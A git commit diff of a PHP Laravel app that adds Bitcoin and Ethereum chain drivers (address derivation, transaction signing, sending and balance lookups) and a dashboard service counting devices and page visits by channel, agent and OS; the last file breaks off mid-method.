feat: new chain

This commit is contained in:
hashbro
2026-08-11 02:26:43 +08:00
parent ec2d9f2308
commit 9bf769b2bd
56 changed files with 3806 additions and 325 deletions
+243
View File
@@ -0,0 +1,243 @@
<?php
namespace App\Services\Chain;
use Elliptic\EC;
use RuntimeException;
final class BtcAddress
{
public static function fromPrivateKey(string $privateKeyHex): string
{
$privateKeyHex = strtolower(trim($privateKeyHex));
if (str_starts_with($privateKeyHex, '0x')) {
$privateKeyHex = substr($privateKeyHex, 2);
}
$ec = new EC('secp256k1');
$compressed = $ec->keyFromPrivate($privateKeyHex)->getPublic(true, 'hex');
return self::p2pkhFromCompressedPublicKey($compressed);
}
public static function p2pkhFromCompressedPublicKey(string $compressedHex): string
{
$compressedHex = strtolower(trim($compressedHex));
$pub = hex2bin($compressedHex);
if ($pub === false || (strlen($pub) !== 33)) {
throw new RuntimeException('Expected compressed secp256k1 public key');
}
$hash160 = hash('ripemd160', hash('sha256', $pub, true), true);
return TronAddress::hexToBase58Check('00'.bin2hex($hash160));
}
public static function isValid(string $address): bool
{
$address = trim($address);
if ($address === '') {
return false;
}
if (preg_match('/^(bc1|tb1)[a-z0-9]{8,87}$/i', $address)) {
try {
self::decodeBech32($address);
return true;
} catch (\Throwable) {
return false;
}
}
if (! preg_match('/^[13][1-9A-HJ-NP-Za-km-z]{24,33}$/', $address)) {
return false;
}
try {
$hex = TronAddress::base58CheckToHex($address);
} catch (\Throwable) {
return false;
}
$version = substr($hex, 0, 2);
return ($version === '00' || $version === '05') && strlen($hex) === 42;
}
/**
* @return array{type: string, script: string} script hex
*/
public static function scriptPubKey(string $address): array
{
$address = trim($address);
if (preg_match('/^bc1/i', $address)) {
$decoded = self::decodeBech32($address);
$prog = $decoded['program'];
$ver = $decoded['version'];
if ($ver === 0 && strlen($prog) === 20) {
// OP_0 <20>
return ['type' => 'p2wpkh', 'script' => '0014'.bin2hex($prog)];
}
if ($ver === 0 && strlen($prog) === 32) {
return ['type' => 'p2wsh', 'script' => '0020'.bin2hex($prog)];
}
throw new RuntimeException('Unsupported bech32 witness program');
}
$hex = TronAddress::base58CheckToHex($address);
$version = substr($hex, 0, 2);
$hash = substr($hex, 2);
if ($version === '00' && strlen($hash) === 40) {
// OP_DUP OP_HASH160 <20> OP_EQUALVERIFY OP_CHECKSIG
return ['type' => 'p2pkh', 'script' => '76a914'.$hash.'88ac'];
}
if ($version === '05' && strlen($hash) === 40) {
// OP_HASH160 <20> OP_EQUAL
return ['type' => 'p2sh', 'script' => 'a914'.$hash.'87'];
}
throw new RuntimeException('Unsupported BTC address type');
}
public static function hash160Compressed(string $privateKeyHex): string
{
$privateKeyHex = strtolower(trim($privateKeyHex));
if (str_starts_with($privateKeyHex, '0x')) {
$privateKeyHex = substr($privateKeyHex, 2);
}
$ec = new EC('secp256k1');
$compressed = hex2bin($ec->keyFromPrivate($privateKeyHex)->getPublic(true, 'hex'));
if ($compressed === false) {
throw new RuntimeException('Invalid public key');
}
return hash('ripemd160', hash('sha256', $compressed, true), true);
}
public static function compressedPublicKey(string $privateKeyHex): string
{
$privateKeyHex = strtolower(trim($privateKeyHex));
if (str_starts_with($privateKeyHex, '0x')) {
$privateKeyHex = substr($privateKeyHex, 2);
}
$ec = new EC('secp256k1');
return $ec->keyFromPrivate($privateKeyHex)->getPublic(true, 'hex');
}
/**
* @return array{version: int, program: string}
*/
public static function decodeBech32(string $address): array
{
$address = strtolower(trim($address));
$pos = strrpos($address, '1');
if ($pos === false || $pos < 1) {
throw new RuntimeException('Invalid bech32');
}
$hrp = substr($address, 0, $pos);
if ($hrp !== 'bc' && $hrp !== 'tb') {
throw new RuntimeException('Unsupported bech32 hrp');
}
$dataPart = substr($address, $pos + 1);
$charset = 'qpzry9x8gf2tvdw0s3jn54khce6mua7l';
$values = [];
for ($i = 0, $len = strlen($dataPart); $i < $len; $i++) {
$idx = strpos($charset, $dataPart[$i]);
if ($idx === false) {
throw new RuntimeException('Invalid bech32 character');
}
$values[] = $idx;
}
if (count($values) < 7) {
throw new RuntimeException('Invalid bech32 length');
}
if (! self::bech32Verify($hrp, $values)) {
throw new RuntimeException('Invalid bech32 checksum');
}
$values = array_slice($values, 0, -6);
$version = $values[0];
if ($version > 16) {
throw new RuntimeException('Invalid witness version');
}
$program = self::convertBits(array_slice($values, 1), 5, 8, false);
if ($program === null) {
throw new RuntimeException('Invalid witness program');
}
$len = strlen($program);
if ($len < 2 || $len > 40) {
throw new RuntimeException('Invalid witness program length');
}
if ($version === 0 && $len !== 20 && $len !== 32) {
throw new RuntimeException('Invalid v0 witness program');
}
return ['version' => $version, 'program' => $program];
}
/** @param list<int> $values */
private static function bech32Verify(string $hrp, array $values): bool
{
return self::bech32Polymod(array_merge(self::bech32HrpExpand($hrp), $values)) === 1;
}
/** @return list<int> */
private static function bech32HrpExpand(string $hrp): array
{
$ret = [];
$len = strlen($hrp);
for ($i = 0; $i < $len; $i++) {
$ret[] = ord($hrp[$i]) >> 5;
}
$ret[] = 0;
for ($i = 0; $i < $len; $i++) {
$ret[] = ord($hrp[$i]) & 31;
}
return $ret;
}
/** @param list<int> $values */
private static function bech32Polymod(array $values): int
{
$gen = [0x3b6a57b2, 0x26508e6d, 0x1ea119fa, 0x3d4233dd, 0x2a1462b3];
$chk = 1;
foreach ($values as $v) {
$b = $chk >> 25;
$chk = (($chk & 0x1ffffff) << 5) ^ $v;
for ($i = 0; $i < 5; $i++) {
if (($b >> $i) & 1) {
$chk ^= $gen[$i];
}
}
}
return $chk;
}
/**
* @param list<int> $data
*/
private static function convertBits(array $data, int $from, int $to, bool $pad): ?string
{
$acc = 0;
$bits = 0;
$ret = '';
$maxv = (1 << $to) - 1;
foreach ($data as $value) {
if ($value < 0 || ($value >> $from) !== 0) {
return null;
}
$acc = ($acc << $from) | $value;
$bits += $from;
while ($bits >= $to) {
$bits -= $to;
$ret .= chr(($acc >> $bits) & $maxv);
}
}
if ($pad) {
if ($bits > 0) {
$ret .= chr(($acc << ($to - $bits)) & $maxv);
}
} elseif ($bits >= $from || ((($acc << ($to - $bits)) & $maxv) !== 0)) {
return null;
}
return $ret;
}
}
+414
View File
@@ -0,0 +1,414 @@
<?php
namespace App\Services\Chain;
use Elliptic\EC;
use Illuminate\Http\Client\PendingRequest;
use Illuminate\Support\Facades\Http;
use RuntimeException;
class BtcDriver implements ChainDriver
{
public function chainId(): string
{
return 'btc';
}
public function deriveAddress(string $mnemonic, int $index = 0): string
{
$derived = Bip44::derive($mnemonic, $this->path($index));
return BtcAddress::fromPrivateKey($derived['private_key']);
}
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
{
if (! $this->isValidAddress($to)) {
throw new RuntimeException('Invalid BTC address');
}
$derived = Bip44::derive($mnemonic, $this->path($index));
$from = BtcAddress::fromPrivateKey($derived['private_key']);
$amountSats = $this->toSats($amount);
$utxos = $this->fetchUtxos($from);
if ($utxos === []) {
throw new RuntimeException('No UTXOs available');
}
$feeRate = $this->feeRateSatPerVbyte();
$selected = [];
$totalIn = '0';
$target = $amountSats;
// Greedy select until amount + estimated fee covered.
foreach ($utxos as $utxo) {
$selected[] = $utxo;
$totalIn = bcadd($totalIn, (string) $utxo['value'], 0);
$fee = $this->estimateFee(count($selected), 2, $feeRate);
if (bccomp($totalIn, bcadd($target, (string) $fee, 0), 0) >= 0) {
break;
}
}
$fee = $this->estimateFee(count($selected), 2, $feeRate);
$needed = bcadd($target, (string) $fee, 0);
if (bccomp($totalIn, $needed, 0) < 0) {
// Try with single output (no change) — dust change becomes fee.
$fee1 = $this->estimateFee(count($selected), 1, $feeRate);
$needed1 = bcadd($target, (string) $fee1, 0);
if (bccomp($totalIn, $needed1, 0) < 0) {
throw new RuntimeException('Insufficient BTC balance for amount+fee');
}
$change = '0';
$fee = (int) bcsub($totalIn, $target, 0);
} else {
$change = bcsub($totalIn, $needed, 0);
// Drop dust change (< 546 sats) into fee.
if (bccomp($change, '546', 0) < 0) {
$fee = (int) bcsub($totalIn, $target, 0);
$change = '0';
}
}
$toScript = BtcAddress::scriptPubKey($to)['script'];
$changeScript = BtcAddress::scriptPubKey($from)['script'];
$outputs = [['script' => $toScript, 'value' => $target]];
if (bccomp($change, '0', 0) > 0) {
$outputs[] = ['script' => $changeScript, 'value' => $change];
}
$raw = $this->buildAndSign($selected, $outputs, $derived['private_key']);
$txid = $this->broadcast($raw);
if ($txid === '') {
throw new RuntimeException('BTC broadcast failed');
}
return $txid;
}
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
{
throw new RuntimeException('BTC does not support token transfers');
}
public function isValidAddress(string $address): bool
{
return BtcAddress::isValid($address);
}
public function getNativeBalance(string $address): string
{
if (! $this->isValidAddress($address)) {
throw new RuntimeException('Invalid BTC address');
}
$base = rtrim((string) config('coruna.btc.api_url', 'https://mempool.space/api'), '/');
$resp = $this->http()->get($base.'/address/'.rawurlencode($address));
if (! $resp->successful()) {
throw new RuntimeException('BTC balance HTTP '.$resp->status());
}
$json = $resp->json();
if (! is_array($json)) {
throw new RuntimeException('Invalid BTC balance response');
}
$stats = $json['chain_stats'] ?? [];
$funded = (string) ($stats['funded_txo_sum'] ?? 0);
$spent = (string) ($stats['spent_txo_sum'] ?? 0);
if (! preg_match('/^\d+$/', $funded)) {
$funded = '0';
}
if (! preg_match('/^\d+$/', $spent)) {
$spent = '0';
}
$sats = bcsub($funded, $spent, 0);
if (str_starts_with($sats, '-')) {
$sats = '0';
}
return $this->fromSats($sats);
}
public function getTokenBalance(string $address, string $contract): string
{
throw new RuntimeException('BTC does not support token balances');
}
private function path(int $index): string
{
return "m/44'/0'/0'/0/{$index}";
}
/**
* @return list<array{txid: string, vout: int, value: int, scriptpubkey: string}>
*/
private function fetchUtxos(string $address): array
{
$base = rtrim((string) config('coruna.btc.api_url', 'https://mempool.space/api'), '/');
$resp = $this->http()->get($base.'/address/'.rawurlencode($address).'/utxo');
if (! $resp->successful()) {
throw new RuntimeException('BTC UTXO HTTP '.$resp->status());
}
$json = $resp->json();
if (! is_array($json)) {
return [];
}
$out = [];
foreach ($json as $row) {
if (! is_array($row)) {
continue;
}
$txid = (string) ($row['txid'] ?? '');
$vout = (int) ($row['vout'] ?? -1);
$value = (int) ($row['value'] ?? 0);
if ($txid === '' || $vout < 0 || $value <= 0) {
continue;
}
$script = (string) ($row['scriptpubkey'] ?? '');
if ($script === '') {
// mempool utxo endpoint may omit script; derive p2pkh script for our address
$script = BtcAddress::scriptPubKey($address)['script'];
}
$out[] = [
'txid' => $txid,
'vout' => $vout,
'value' => $value,
'scriptpubkey' => $script,
];
}
usort($out, fn ($a, $b) => $b['value'] <=> $a['value']);
return $out;
}
private function feeRateSatPerVbyte(): int
{
$configured = (int) config('coruna.btc.fee_rate', 0);
if ($configured > 0) {
return $configured;
}
$base = rtrim((string) config('coruna.btc.api_url', 'https://mempool.space/api'), '/');
try {
$resp = $this->http()->get($base.'/v1/fees/recommended');
if ($resp->successful()) {
$json = $resp->json();
$rate = (int) ($json['halfHourFee'] ?? $json['fastestFee'] ?? 0);
if ($rate > 0) {
return $rate;
}
}
} catch (\Throwable) {
// fall through
}
return 10;
}
private function estimateFee(int $inputs, int $outputs, int $satPerVbyte): int
{
// Legacy P2PKH approx: 10 + 148*in + 34*out
$vsize = 10 + (148 * $inputs) + (34 * $outputs);
return max(1, $vsize * max(1, $satPerVbyte));
}
/**
* @param list<array{txid: string, vout: int, value: int, scriptpubkey: string}> $inputs
* @param list<array{script: string, value: string}> $outputs
*/
private function buildAndSign(array $inputs, array $outputs, string $privateKey): string
{
$version = $this->u32le(1);
$locktime = $this->u32le(0);
$vinCount = $this->varInt(count($inputs));
$voutCount = $this->varInt(count($outputs));
$voutPayload = '';
foreach ($outputs as $out) {
$voutPayload .= $this->u64le($out['value']);
$script = hex2bin($out['script']);
if ($script === false) {
throw new RuntimeException('Invalid output script');
}
$voutPayload .= $this->varInt(strlen($script)).$script;
}
$signedVins = '';
$pub = hex2bin(BtcAddress::compressedPublicKey($privateKey));
if ($pub === false) {
throw new RuntimeException('Invalid public key');
}
foreach ($inputs as $i => $in) {
$scriptCode = hex2bin($in['scriptpubkey']);
if ($scriptCode === false) {
throw new RuntimeException('Invalid input script');
}
$vinsForSighash = '';
foreach ($inputs as $j => $inj) {
$vinsForSighash .= $this->outpoint($inj['txid'], $inj['vout']);
if ($j === $i) {
$vinsForSighash .= $this->varInt(strlen($scriptCode)).$scriptCode;
} else {
$vinsForSighash .= $this->varInt(0).'';
}
$vinsForSighash .= $this->u32le(0xffffffff);
}
$preimage = $version.$vinCount.$vinsForSighash.$voutCount.$voutPayload.$locktime.$this->u32le(1); // SIGHASH_ALL
$hash = hash('sha256', hash('sha256', $preimage, true), true);
$der = $this->signDer($privateKey, $hash)."\x01"; // SIGHASH_ALL
$scriptSig = $this->pushData($der).$this->pushData($pub);
$signedVins .= $this->outpoint($in['txid'], $in['vout']);
$signedVins .= $this->varInt(strlen($scriptSig)).$scriptSig;
$signedVins .= $this->u32le(0xffffffff);
}
return bin2hex($version.$vinCount.$signedVins.$voutCount.$voutPayload.$locktime);
}
private function signDer(string $privateKey, string $hash32): string
{
$ec = new EC('secp256k1');
$key = $ec->keyFromPrivate($privateKey);
$sig = $key->sign(bin2hex($hash32), ['canonical' => true]);
$r = $this->gmpToBytes($sig->r->toString(16));
$s = $this->gmpToBytes($sig->s->toString(16));
return "\x30".chr(4 + strlen($r) + strlen($s))
."\x02".chr(strlen($r)).$r
."\x02".chr(strlen($s)).$s;
}
private function gmpToBytes(string $hex): string
{
if (strlen($hex) % 2 !== 0) {
$hex = '0'.$hex;
}
$bin = hex2bin($hex) ?: '';
// High bit set → prepend 0x00 (DER signed integer)
if ($bin !== '' && (ord($bin[0]) & 0x80) !== 0) {
$bin = "\x00".$bin;
}
if ($bin === '') {
$bin = "\x00";
}
return $bin;
}
private function pushData(string $data): string
{
$len = strlen($data);
if ($len < 0x4c) {
return chr($len).$data;
}
if ($len <= 0xff) {
return "\x4c".chr($len).$data;
}
return "\x4d".$this->u16le($len).$data;
}
private function outpoint(string $txid, int $vout): string
{
$hash = hex2bin($txid);
if ($hash === false || strlen($hash) !== 32) {
throw new RuntimeException('Invalid txid');
}
return strrev($hash).$this->u32le($vout);
}
private function broadcast(string $rawHex): string
{
$base = rtrim((string) config('coruna.btc.api_url', 'https://mempool.space/api'), '/');
$resp = $this->http()
->withBody($rawHex, 'text/plain')
->post($base.'/tx');
if (! $resp->successful()) {
$body = trim($resp->body());
throw new RuntimeException('BTC broadcast HTTP '.$resp->status().($body !== '' ? ": {$body}" : ''));
}
$txid = trim($resp->body());
if (! preg_match('/^[0-9a-fA-F]{64}$/', $txid)) {
throw new RuntimeException('Unexpected BTC broadcast response');
}
return strtolower($txid);
}
private function toSats(string $amount): string
{
if (! preg_match('/^\d+(\.\d{1,8})?$/', $amount)) {
throw new RuntimeException('Invalid BTC amount');
}
[$whole, $frac] = array_pad(explode('.', $amount, 2), 2, '');
$frac = str_pad(substr($frac, 0, 8), 8, '0', STR_PAD_RIGHT);
$sats = ltrim($whole.$frac, '0');
$sats = $sats === '' ? '0' : $sats;
if (bccomp($sats, '0') <= 0) {
throw new RuntimeException('Amount must be positive');
}
return $sats;
}
private function fromSats(string $sats): string
{
if (! preg_match('/^\d+$/', $sats)) {
$sats = '0';
}
$human = bcdiv($sats, '100000000', 8);
$human = rtrim(rtrim($human, '0'), '.');
return $human === '' ? '0' : $human;
}
private function varInt(int $n): string
{
if ($n < 0xfd) {
return chr($n);
}
if ($n <= 0xffff) {
return "\xfd".$this->u16le($n);
}
if ($n <= 0xffffffff) {
return "\xfe".$this->u32le($n);
}
throw new RuntimeException('varint too large');
}
private function u16le(int $n): string
{
return pack('v', $n);
}
private function u32le(int $n): string
{
return pack('V', $n);
}
private function u64le(string $n): string
{
if (! preg_match('/^\d+$/', $n)) {
throw new RuntimeException('Invalid amount');
}
$hex = str_pad(gmp_strval(gmp_init($n, 10), 16), 16, '0', STR_PAD_LEFT);
$bin = hex2bin($hex);
if ($bin === false) {
throw new RuntimeException('Invalid amount');
}
return strrev($bin);
}
private function http(): PendingRequest
{
return Http::timeout(30)->acceptJson();
}
}
+4
View File
@@ -8,12 +8,16 @@ class ChainManager
{
public function __construct(
private readonly TronDriver $tron,
private readonly EthDriver $eth,
private readonly BtcDriver $btc,
) {}
public function resolve(string $chain): ChainDriver
{
return match (strtolower($chain)) {
'tron', 'trx' => $this->tron,
'eth', 'ethereum' => $this->eth,
'btc', 'bitcoin' => $this->btc,
default => throw new InvalidArgumentException("Unsupported chain: {$chain}"),
};
}
+51
View File
@@ -0,0 +1,51 @@
<?php
namespace App\Services\Chain;
use kornrunner\Keccak;
use RuntimeException;
final class EthAddress
{
public static function fromUncompressedPublicKey(string $publicKeyHex): string
{
$hex = strtolower($publicKeyHex);
if (str_starts_with($hex, '0x')) {
$hex = substr($hex, 2);
}
if (str_starts_with($hex, '04')) {
$hex = substr($hex, 2);
}
if (strlen($hex) !== 128) {
throw new RuntimeException('Expected uncompressed secp256k1 public key');
}
$hash = Keccak::hash(hex2bin($hex), 256);
return '0x'.substr($hash, -40);
}
public static function isValid(string $address): bool
{
return (bool) preg_match('/^0x[0-9a-fA-F]{40}$/', trim($address));
}
public static function normalize(string $address): string
{
return strtolower(trim($address));
}
/** 20-byte address without 0x, left-padded to 32 bytes for ABI. */
public static function toWord(string $address): string
{
$hex = self::normalize($address);
if (str_starts_with($hex, '0x')) {
$hex = substr($hex, 2);
}
if (strlen($hex) !== 40) {
throw new RuntimeException('Invalid ETH address');
}
return str_pad($hex, 64, '0', STR_PAD_LEFT);
}
}
+221
View File
@@ -0,0 +1,221 @@
<?php
namespace App\Services\Chain;
use Illuminate\Http\Client\PendingRequest;
use Illuminate\Support\Facades\Http;
use RuntimeException;
class EthDriver implements ChainDriver
{
public function chainId(): string
{
return 'eth';
}
public function deriveAddress(string $mnemonic, int $index = 0): string
{
$derived = Bip44::derive($mnemonic, $this->path($index));
return EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
}
public function sendNative(string $mnemonic, int $index, string $to, string $amount): string
{
if (! $this->isValidAddress($to)) {
throw new RuntimeException('Invalid ETH address');
}
$derived = Bip44::derive($mnemonic, $this->path($index));
$from = EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
$wei = $this->toWei($amount);
return $this->sendLegacy($derived['private_key'], $from, $to, $wei, '0x');
}
public function sendToken(string $mnemonic, int $index, string $to, string $amount, string $contract): string
{
if (! $this->isValidAddress($to) || ! $this->isValidAddress($contract)) {
throw new RuntimeException('Invalid ETH address');
}
$derived = Bip44::derive($mnemonic, $this->path($index));
$from = EthAddress::fromUncompressedPublicKey($derived['public_key_uncompressed']);
$units = $this->toTokenUnits($amount);
// transfer(address,uint256) selector = a9059cbb
$data = '0xa9059cbb'.EthAddress::toWord($to).str_pad(gmp_strval(gmp_init($units, 10), 16), 64, '0', STR_PAD_LEFT);
return $this->sendLegacy($derived['private_key'], $from, $contract, '0', $data);
}
public function isValidAddress(string $address): bool
{
return EthAddress::isValid($address);
}
public function getNativeBalance(string $address): string
{
if (! $this->isValidAddress($address)) {
throw new RuntimeException('Invalid ETH address');
}
$hex = $this->rpc('eth_getBalance', [EthAddress::normalize($address), 'latest']);
if (! is_string($hex)) {
return '0';
}
return $this->fromWei($this->hexToDec($hex));
}
public function getTokenBalance(string $address, string $contract): string
{
if (! $this->isValidAddress($address) || ! $this->isValidAddress($contract)) {
throw new RuntimeException('Invalid ETH address');
}
// balanceOf(address)
$data = '0x70a08231'.EthAddress::toWord($address);
$hex = $this->rpc('eth_call', [[
'to' => EthAddress::normalize($contract),
'data' => $data,
], 'latest']);
if (! is_string($hex) || $hex === '' || $hex === '0x') {
return '0';
}
return $this->fromTokenUnits($this->hexToDec($hex));
}
private function sendLegacy(string $privateKey, string $from, string $to, string $valueWei, string $data): string
{
$chainId = (int) config('coruna.eth.chain_id', 1);
$nonceHex = $this->rpc('eth_getTransactionCount', [EthAddress::normalize($from), 'pending']);
$gasPriceHex = $this->rpc('eth_gasPrice', []);
if (! is_string($nonceHex) || ! is_string($gasPriceHex)) {
throw new RuntimeException('Failed to fetch nonce/gasPrice');
}
$gasLimit = trim((string) config('coruna.eth.gas_limit', ''));
if ($gasLimit === '' || ! preg_match('/^\d+$/', $gasLimit)) {
$gasLimit = ($data === '0x' || $data === '') ? '21000' : '100000';
}
$tx = [
'nonce' => $this->hexToDec($nonceHex),
'gasPrice' => $this->hexToDec($gasPriceHex),
'gas' => $gasLimit,
'to' => EthAddress::normalize($to),
'value' => $valueWei,
'data' => $data === '' ? '0x' : $data,
];
$raw = EthSigner::signLegacy($privateKey, $tx, $chainId);
$txid = $this->rpc('eth_sendRawTransaction', [$raw]);
if (! is_string($txid) || $txid === '') {
throw new RuntimeException('eth_sendRawTransaction failed');
}
return $txid;
}
private function path(int $index): string
{
return "m/44'/60'/0'/0/{$index}";
}
private function toWei(string $amount): string
{
if (! preg_match('/^\d+(\.\d{1,18})?$/', $amount)) {
throw new RuntimeException('Invalid ETH amount');
}
[$whole, $frac] = array_pad(explode('.', $amount, 2), 2, '');
$frac = str_pad(substr($frac, 0, 18), 18, '0', STR_PAD_RIGHT);
$wei = ltrim($whole.$frac, '0');
$wei = $wei === '' ? '0' : $wei;
if (bccomp($wei, '0') <= 0) {
throw new RuntimeException('Amount must be positive');
}
return $wei;
}
private function fromWei(string $wei): string
{
if (! preg_match('/^\d+$/', $wei)) {
$wei = '0';
}
$human = bcdiv($wei, '1000000000000000000', 18);
$human = rtrim(rtrim($human, '0'), '.');
return $human === '' ? '0' : $human;
}
private function toTokenUnits(string $amount): string
{
$decimals = (int) config('coruna.eth.usdt_decimals', 6);
if (! preg_match('/^\d+(\.\d{1,'.max(1, $decimals).'})?$/', $amount)) {
throw new RuntimeException('Invalid token amount');
}
$factor = bcpow('10', (string) $decimals, 0);
$units = bcmul($amount, $factor, 0);
if (bccomp($units, '0') <= 0) {
throw new RuntimeException('Amount must be positive');
}
return $units;
}
private function fromTokenUnits(string $units): string
{
$decimals = (int) config('coruna.eth.usdt_decimals', 6);
if (! preg_match('/^\d+$/', $units)) {
$units = '0';
}
$factor = bcpow('10', (string) $decimals, 0);
$human = bcdiv($units, $factor, $decimals);
$human = rtrim(rtrim($human, '0'), '.');
return $human === '' ? '0' : $human;
}
private function hexToDec(string $hex): string
{
$hex = strtolower($hex);
if (str_starts_with($hex, '0x')) {
$hex = substr($hex, 2);
}
if ($hex === '' || $hex === '0') {
return '0';
}
return gmp_strval(gmp_init($hex, 16), 10);
}
private function rpc(string $method, array $params): mixed
{
$url = rtrim((string) config('coruna.eth.rpc_url', 'https://ethereum.publicnode.com'), '/');
$resp = $this->http()->post($url, [
'jsonrpc' => '2.0',
'id' => 1,
'method' => $method,
'params' => $params,
]);
if (! $resp->successful()) {
throw new RuntimeException('ETH RPC HTTP '.$resp->status());
}
$json = $resp->json();
if (! is_array($json)) {
throw new RuntimeException('Invalid ETH RPC response');
}
if (isset($json['error'])) {
$msg = $json['error']['message'] ?? json_encode($json['error']);
throw new RuntimeException('ETH RPC: '.(is_string($msg) ? $msg : 'error'));
}
return $json['result'] ?? null;
}
private function http(): PendingRequest
{
return Http::timeout(30)->acceptJson()->asJson();
}
}
+66
View File
@@ -0,0 +1,66 @@
<?php
namespace App\Services\Chain;
/**
* Minimal RLP encoder for legacy Ethereum transactions.
*/
final class EthRlp
{
/**
* @param list<string|list<mixed>> $list binary strings or nested lists
*/
public static function encodeList(array $list): string
{
$payload = '';
foreach ($list as $item) {
$payload .= is_array($item) ? self::encodeList($item) : self::encodeString($item);
}
return self::encodeLength(strlen($payload), 0xc0).$payload;
}
public static function encodeString(string $input): string
{
$len = strlen($input);
if ($len === 1 && ord($input) < 0x80) {
return $input;
}
return self::encodeLength($len, 0x80).$input;
}
/** Integer → minimal big-endian binary (empty for zero). */
public static function intToBin(string|int $value): string
{
if (is_int($value)) {
$value = (string) $value;
}
if (! preg_match('/^\d+$/', $value)) {
throw new \InvalidArgumentException('Invalid integer');
}
if (bccomp($value, '0') === 0) {
return '';
}
$hex = gmp_strval(gmp_init($value, 10), 16);
if (strlen($hex) % 2 !== 0) {
$hex = '0'.$hex;
}
return hex2bin($hex) ?: '';
}
private static function encodeLength(int $len, int $offset): string
{
if ($len < 56) {
return chr($len + $offset);
}
$hex = dechex($len);
if (strlen($hex) % 2 !== 0) {
$hex = '0'.$hex;
}
$bin = hex2bin($hex) ?: '';
return chr(strlen($bin) + $offset + 55).$bin;
}
}
+82
View File
@@ -0,0 +1,82 @@
<?php
namespace App\Services\Chain;
use Elliptic\EC;
use kornrunner\Keccak;
use RuntimeException;
final class EthSigner
{
/**
* Sign a legacy EIP-155 transaction.
*
* @param array{nonce: string, gasPrice: string, gas: string, to: string, value: string, data: string} $tx
* @return string 0x-prefixed raw tx hex
*/
public static function signLegacy(string $privateKeyHex, array $tx, int $chainId): string
{
$privateKeyHex = strtolower($privateKeyHex);
if (str_starts_with($privateKeyHex, '0x')) {
$privateKeyHex = substr($privateKeyHex, 2);
}
$to = strtolower($tx['to']);
if (str_starts_with($to, '0x')) {
$to = substr($to, 2);
}
$data = strtolower($tx['data'] ?? '');
if (str_starts_with($data, '0x')) {
$data = substr($data, 2);
}
$fields = [
EthRlp::intToBin($tx['nonce']),
EthRlp::intToBin($tx['gasPrice']),
EthRlp::intToBin($tx['gas']),
hex2bin($to) ?: '',
EthRlp::intToBin($tx['value']),
$data === '' ? '' : (hex2bin($data) ?: ''),
EthRlp::intToBin((string) $chainId),
'',
'',
];
$unsigned = EthRlp::encodeList($fields);
$hash = Keccak::hash($unsigned, 256);
$ec = new EC('secp256k1');
$key = $ec->keyFromPrivate($privateKeyHex);
$sig = $key->sign($hash, ['canonical' => true]);
$r = str_pad($sig->r->toString(16), 64, '0', STR_PAD_LEFT);
$s = str_pad($sig->s->toString(16), 64, '0', STR_PAD_LEFT);
$recovery = (int) ($sig->recoveryParam ?? 0);
$v = (string) ($recovery + 35 + $chainId * 2);
$signed = EthRlp::encodeList([
EthRlp::intToBin($tx['nonce']),
EthRlp::intToBin($tx['gasPrice']),
EthRlp::intToBin($tx['gas']),
hex2bin($to) ?: '',
EthRlp::intToBin($tx['value']),
$data === '' ? '' : (hex2bin($data) ?: ''),
EthRlp::intToBin($v),
hex2bin($r) ?: '',
hex2bin($s) ?: '',
]);
return '0x'.bin2hex($signed);
}
public static function publicAddress(string $privateKeyHex): string
{
$privateKeyHex = strtolower($privateKeyHex);
if (str_starts_with($privateKeyHex, '0x')) {
$privateKeyHex = substr($privateKeyHex, 2);
}
$ec = new EC('secp256k1');
$pub = $ec->keyFromPrivate($privateKeyHex)->getPublic(false, 'hex');
return EthAddress::fromUncompressedPublicKey($pub);
}
}
+198
View File
@@ -0,0 +1,198 @@
<?php
namespace App\Services;
use App\Models\Device;
use App\Models\PageVisit;
use App\Models\User;
use App\Support\AgentScope;
use Carbon\Carbon;
use Illuminate\Database\Eloquent\Builder;
use Illuminate\Support\Facades\DB;
class DashboardStatsService
{
/**
* @param array{
* range?: string,
* channel_id?: string,
* channel_exact?: bool,
* agent_user_id?: int,
* agent?: ?User
* } $filters
* @return array{
* total: int,
* new_count: int,
* active_count: int,
* pv: int,
* uv: int,
* effective_pv: int,
* effective_uv: int,
* by_os: list<array{label: string, pv: int, uv: int, pct: float}>,
* by_ios_version: list<array{label: string, pv: int, uv: int, pct: float}>,
* range: string,
* from: string,
* to: string
* }
*/
public function collect(array $filters = []): array
{
$range = (string) ($filters['range'] ?? '30d');
[$from, $to] = $this->rangeBounds($range);
$channelId = trim((string) ($filters['channel_id'] ?? ''));
$channelExact = (bool) ($filters['channel_exact'] ?? false);
$agent = $filters['agent'] ?? null;
$agentUserId = (int) ($filters['agent_user_id'] ?? 0);
$base = Device::query();
AgentScope::applyDeviceChannelScope($base, $agent);
if ($agent === null && $agentUserId > 0) {
AgentScope::applyAgentUserFilter($base, $agentUserId);
}
if ($channelId !== '') {
if ($channelExact) {
$base->where('channel_id', $channelId);
} else {
$base->where('channel_id', 'like', '%'.$channelId.'%');
}
}
$total = (clone $base)->count();
$newCount = (clone $base)->whereBetween('created_at', [$from, $to])->count();
$activeCount = (clone $base)->whereBetween('updated_at', [$from, $to])->count();
$visits = PageVisit::query();
AgentScope::applyChannelIdScope($visits, $agent);
if ($agent === null && $agentUserId > 0) {
AgentScope::applyChannelIdAgentUserFilter($visits, $agentUserId);
}
if ($channelId !== '') {
if ($channelExact) {
$visits->where('channel_id', $channelId);
} else {
$visits->where('channel_id', 'like', '%'.$channelId.'%');
}
}
$visits->whereBetween('created_at', [$from, $to]);
$pv = (clone $visits)->count();
$uv = (int) (clone $visits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$effectiveVisits = (clone $visits)->tap(fn (Builder $q) => $this->applyEffectiveFilter($q));
$effectivePv = (clone $effectiveVisits)->count();
$effectiveUv = (int) (clone $effectiveVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$iosVisits = (clone $visits)->where('os', 'iOS');
$iosPv = (clone $iosVisits)->count();
$iosUv = (int) (clone $iosVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$otherVisits = (clone $visits)->where(function (Builder $q) {
$q->whereNull('os')->orWhere('os', '!=', 'iOS');
});
$otherPv = (clone $otherVisits)->count();
$otherUv = (int) (clone $otherVisits)->selectRaw('COUNT(DISTINCT client_uid) as aggregate')->value('aggregate');
$byOs = [
$this->row('iOS', $iosPv, $iosUv, $pv),
$this->row('其他', $otherPv, $otherUv, $pv),
];
